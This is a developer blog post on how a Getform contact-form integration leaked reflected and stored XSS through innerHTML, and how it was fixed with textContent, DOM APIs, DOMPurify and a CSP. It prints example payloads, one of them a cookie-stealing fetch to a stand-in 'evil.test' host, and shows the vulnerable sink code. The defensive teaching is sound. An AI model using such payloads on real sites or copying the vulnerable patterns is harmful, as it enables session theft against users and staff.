A few years ago I helped clean up a form workflow that looked harmless on the surface: a static marketing site, a contact form powered by Getform, and a tiny “thank you” page that echoed back the user’s name.

That last part was the problem.

The team assumed Getform was “just handling submissions,” so they treated the returned data like trusted content. It wasn’t. A user-controlled field got pulled from the URL and dropped into the DOM with innerHTML. That turned a basic contact form into an XSS sink.

This is the kind of bug that slips into production because the app feels simple. No login. No dashboard. No complex backend. Just a form. But if you reflect attacker input into the page, especially around a third-party form flow, you still own the XSS risk.

The setup

The site used a plain HTML form posting to Getform:

<form action="https://getform.io/f/your-form-endpoint" method="POST">
  <label>
    Name
    <input type="text" name="name" />
  </label>

  <label>
    Email
    <input type="email" name="email" />
  </label>

  <label>
    Message
    <textarea name="message"></textarea>
  </label>

  <input type="hidden" name="_gotcha" style="display:none !important">
  <input type="hidden" name="_redirect" value="https://example.com/thanks.html">

  <button type="submit">Send</button>
</form>

The thank-you page tried to personalize the response:

<h1>Thanks!</h1>
<p id="confirmation"></p>

<script>
  const params = new URLSearchParams(window.location.search);
  const name = params.get("name") || "friend";

  document.getElementById("confirmation").innerHTML =
    `Thanks for your message, <strong>${name}</strong>. We'll be in touch soon.`;
</script>

Looks friendly. Also vulnerable.

How the XSS happened

The app trusted name because it came from “our form flow.” But the value was still user input, and the page read it from the query string. An attacker didn’t even need to submit the form. They could just craft a malicious URL:

https://example.com/thanks.html?name=<img%20src=x%20onerror=alert(document.domain)>

The browser parsed the img tag because the code used innerHTML. The onerror fired. Classic reflected XSS.

If you want a more realistic payload than alert(1), think session theft in apps that still expose readable tokens, fake login prompts, DOM rewrites, or redirecting users to a phishing flow. Even on a static site, XSS is not “just an alert box.”

Why Getform got blamed unfairly

I’ve seen teams say “Getform has an XSS issue” when the actual issue was in their frontend rendering logic.

Getform is receiving and forwarding form data. The XSS appears when your app reflects that data back into HTML without encoding or safe DOM APIs. If you fetch submissions from Getform and then render them into an admin panel with innerHTML, same story. The bug lives in the consumer.

That distinction matters, because the fix is not “switch providers.” The fix is to stop treating form fields as safe markup.

Before: vulnerable patterns

Here are the three patterns I keep seeing around Getform integrations.

1. Echoing query params with innerHTML

const name = new URLSearchParams(location.search).get("name");
confirmation.innerHTML = `Thanks, ${name}!`;

Bad because any HTML in name gets parsed.

2. Rendering form submissions into an admin UI

A team pulled submission data from an API and built rows like this:

submissions.forEach((entry) => {
  results.innerHTML += `
    <tr>
      <td>${entry.name}</td>
      <td>${entry.email}</td>
      <td>${entry.message}</td>
    </tr>
  `;
});

If an attacker submits <svg onload=fetch('https://evil.test/'+document.cookie)> in message, that payload can fire when an internal user opens the submissions page.

That’s a stored XSS path, and it’s usually more serious than reflected XSS because it hits admins.

3. Using template strings for “rich formatting”

preview.innerHTML = `
  <h3>${formData.name}</h3>
  <p>${formData.message}</p>
`;

Developers do this because it’s fast. I’ve done it too. It’s also one of the easiest ways to create XSS.

After: safe rendering

The simplest fix is boring: never inject untrusted data with innerHTML unless you sanitize it first with a well-reviewed library and you actually need HTML support.

For plain text, use textContent.

Safe thank-you page

<h1>Thanks!</h1>
<p id="confirmation"></p>

<script>
  const params = new URLSearchParams(window.location.search);
  const name = params.get("name") || "friend";

  const confirmation = document.getElementById("confirmation");
  confirmation.textContent = `Thanks for your message, ${name}. We'll be in touch soon.`;
</script>

Now this payload:

?name=<img src=x onerror=alert(1)>

renders as text, not executable HTML.

Safe table rendering for submissions

Instead of concatenating strings, build DOM nodes:

submissions.forEach((entry) => {
  const tr = document.createElement("tr");

  const nameTd = document.createElement("td");
  nameTd.textContent = entry.name;

  const emailTd = document.createElement("td");
  emailTd.textContent = entry.email;

  const messageTd = document.createElement("td");
  messageTd.textContent = entry.message;

  tr.appendChild(nameTd);
  tr.appendChild(emailTd);
  tr.appendChild(messageTd);

  results.appendChild(tr);
});

This is less flashy than template strings, but it’s the right default when rendering user input.

What if you actually need HTML?

Sometimes you do. Maybe your message field supports Markdown converted to HTML, or your CMS stores rich content. In that case, sanitize before rendering.

A common client-side option is DOMPurify:

<script src="https://unpkg.com/[email protected]/dist/purify.min.js"></script>
<script>
  const dirty = submission.message;
  const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
    ALLOWED_ATTR: ["href", "title"]
  });

  messageContainer.innerHTML = clean;
</script>

My rule is simple: if a field is supposed to be plain text, keep it plain text. Sanitizing everything is not a substitute for choosing the right sink.

Add CSP so one mistake doesn’t become a breach

Content Security Policy won’t fix a bad innerHTML, but it can make exploitation much harder. A decent CSP can block inline scripts, rogue script origins, and a lot of copy-paste payloads attackers rely on.

A baseline policy might look like this:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  form-action 'self' https://getform.io;

If your site needs third-party scripts or styles, tune it carefully instead of punching giant holes with unsafe-inline and *. If you need help designing one, https://csp-guide.com is a solid reference.

I like validating deployed headers with https://headertest.com?utm_source=xss-prevention&utm_medium=blog&utm_campaign=article-link because it catches the “we thought our headers were live” problem fast.

Extra hardening that helped in this case

We fixed the obvious XSS sink, but we also cleaned up the rest of the form flow.

1. Stop reflecting user input in redirects

If you don’t need name on the thank-you page, don’t pass it around at all. A generic success page is safer than a personalized one.

2. Validate on input, encode on output

Validation helps reduce junk and abuse:

<input type="text" name="name" maxlength="80" pattern="[A-Za-z0-9 .,'-]{1,80}">

That’s useful, but it does not replace output encoding. Attackers can bypass client-side checks.

3. Protect internal submission viewers

The biggest risk in many Getform setups is not the public form. It’s the internal page where staff read submissions. Treat every field there as hostile.

4. Avoid inline event handlers everywhere

This means no:

<button onclick="submitForm()">Send</button>

Use JS event listeners instead:

document.querySelector("form").addEventListener("submit", handleSubmit);

This plays much better with CSP and removes an entire class of bad habits.

The real before-and-after result

Before the fix:

  • Reflected XSS on the thank-you page via query string
  • Stored XSS risk in the internal submissions viewer
  • No CSP
  • Heavy innerHTML usage across the UI

After the fix:

  • User input rendered with textContent or DOM node APIs
  • Sanitization only where limited HTML was explicitly required
  • CSP added to reduce exploitability
  • Internal tooling treated form submissions as untrusted data
  • No personalized redirect unless there was a hard requirement

The team didn’t need to abandon Getform. They needed to stop trusting form data just because it passed through a familiar service.

That’s the real lesson here. Third-party form handling doesn’t create magic trust boundaries. If a human can type into the field, an attacker can too. Once you accept that, the implementation gets a lot cleaner: safe sinks by default, sanitization only when necessary, and headers that back you up when somebody slips.

If you’re using Getform today, grep your codebase for innerHTML, outerHTML, insertAdjacentHTML, and string-built templates around submission data. That audit usually finds the bug in minutes.